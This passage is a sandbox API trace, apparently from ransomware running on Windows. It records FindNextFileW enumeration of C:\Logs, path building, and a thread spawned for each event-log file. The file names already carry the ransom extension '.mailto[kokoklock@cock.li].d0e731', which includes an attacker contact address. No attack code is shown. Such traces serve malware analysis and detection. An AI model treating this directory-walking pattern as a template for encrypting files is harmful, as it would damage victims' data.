hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f71f807, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI804B~1.D0E")) returned 1 [0165.711] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.711] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f842b8 [0165.711] wcscpy (in: _Dest=0x2f842b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.711] wcscat (in: _Dest=0x2f842b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.711] wcscat (in: _Dest=0x2f842b8, _Source="Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0165.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f842b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0165.712] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f745a56, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI3038~1.D0E")) returned 1 [0165.712] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.712] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x2f83510 [0165.712] wcscpy (in: _Dest=0x2f83510, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.712] wcscat (in: _Dest=0x2f83510, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.712] wcscat (in: _Dest=0x2f83510, _Source="Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0165.712] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f791f5f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI559A~1.D0E")) returned 1 [0165.713] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.713] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6eb80 [0165.713] wcscpy (in: _Dest=0x2f6eb80, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.713] wcscat (in: _Dest=0x2f6eb80, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.713] wcscat (in: _Dest=0x2f6eb80, _Source="Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0165.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6eb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0165.713] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f7df120, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI2164~1.D0E")) returned 1 [0165.714] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.714] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f6ece0 [0165.714] wcscpy (in: _Dest=0x2f6ece0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.714] wcscat (in: _Dest=0x2f6ece0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.714] wcscat (in: _Dest=0x2f6ece0, _Source="Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" [0165.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ece0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0165.715] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7fd1555d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIBA82~1.D0E")) returned 1 [0165.715] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.715] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83738 [0165.715] wcscpy (in: _Dest=0x2f83738, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.715] wcscat (in: _Dest=0x2f83738, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.715] wcscat (in: _Dest=0x2f83738, _Source="Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0165.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0165.716] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI59AC~1.D0E")) returned 1 [0165.716] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.716] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.716] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x2f83fd8 [0165.716] wcscpy (in: _Dest=0x2f83fd8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.716] wcscat (in: _Dest=0x2f83fd8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.716] wcscat (in: _Dest=0x2f83fd8, _Source="Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0165.717] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIF8CB~1.D0E")) returned 1 [0165.717] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.717] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6dd10 [0165.717] wcscpy (in: _Dest=0x2f6dd10, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.717] wcscat (in: _Dest=0x2f6dd10, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.717] wcscat (in: _Dest=0x2f6dd10, _Source="Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0165.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6dd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0165.718] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801db596, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIEAB6~1.D0E")) returned 1 [0165.718] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.718] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.718] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e1e0 [0165.718] wcscpy (in: _Dest=0x2f6e1e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.718] wcscat (in: _Dest=0x2f6e1e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.718] wcscat (in: _Dest=0x2f6e1e0, _Source="Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0165.719] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801db596, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICEFB~1.D0E")) returned 1 [0165.719] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.719] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f99258 [0165.719] wcscpy (in: _Dest=0x2f99258, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.719] wcscat (in: _Dest=0x2f99258, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.719] wcscat (in: _Dest=0x2f99258, _Source="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" [0165.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0165.720] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801db596, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI7FAF~1.D0E")) returned 1 [0165.720] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.720] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f979f8 [0165.720] wcscpy (in: _Dest=0x2f979f8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.720] wcscat (in: _Dest=0x2f979f8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.720] wcscat (in: _Dest=0x2f979f8, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0165.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f979f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0165.721] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801db596, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIB11F~1.D0E")) returned 1 [0165.721] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.721] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc43a0 [0165.721] wcscpy (in: _Dest=0x2fc43a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.721] wcscat (in: _Dest=0x2fc43a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.721] wcscat (in: _Dest=0x2fc43a0, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc43a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0165.722] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8011b54d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI8597~1.D0E")) returned 1 [0165.722] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.722] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2fc3378 [0165.722] wcscpy (in: _Dest=0x2fc3378, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.722] wcscat (in: _Dest=0x2fc3378, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.722] wcscat (in: _Dest=0x2fc3378, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0165.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0165.722] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI5BA2~1.D0E")) returned 1 [0165.722] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.723] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.723] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x2f95240 [0165.723] wcscpy (in: _Dest=0x2f95240, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.723] wcscat (in: _Dest=0x2f95240, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.723] wcscat (in: _Dest=0x2f95240, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f95240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0165.723] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI52A6~1.D0E")) returned 1 [0165.723] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.724] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.724] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e290 [0165.724] wcscpy (in: _Dest=0x2f6e290, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.724] wcscat (in: _Dest=0x2f6e290, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.724] wcscat (in: _Dest=0x2f6e290, _Source="Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0165.725] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x801b3e82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI5FF8~1.D0E")) returned 1 [0165.725] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.725] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f884a0 [0165.725] wcscpy (in: 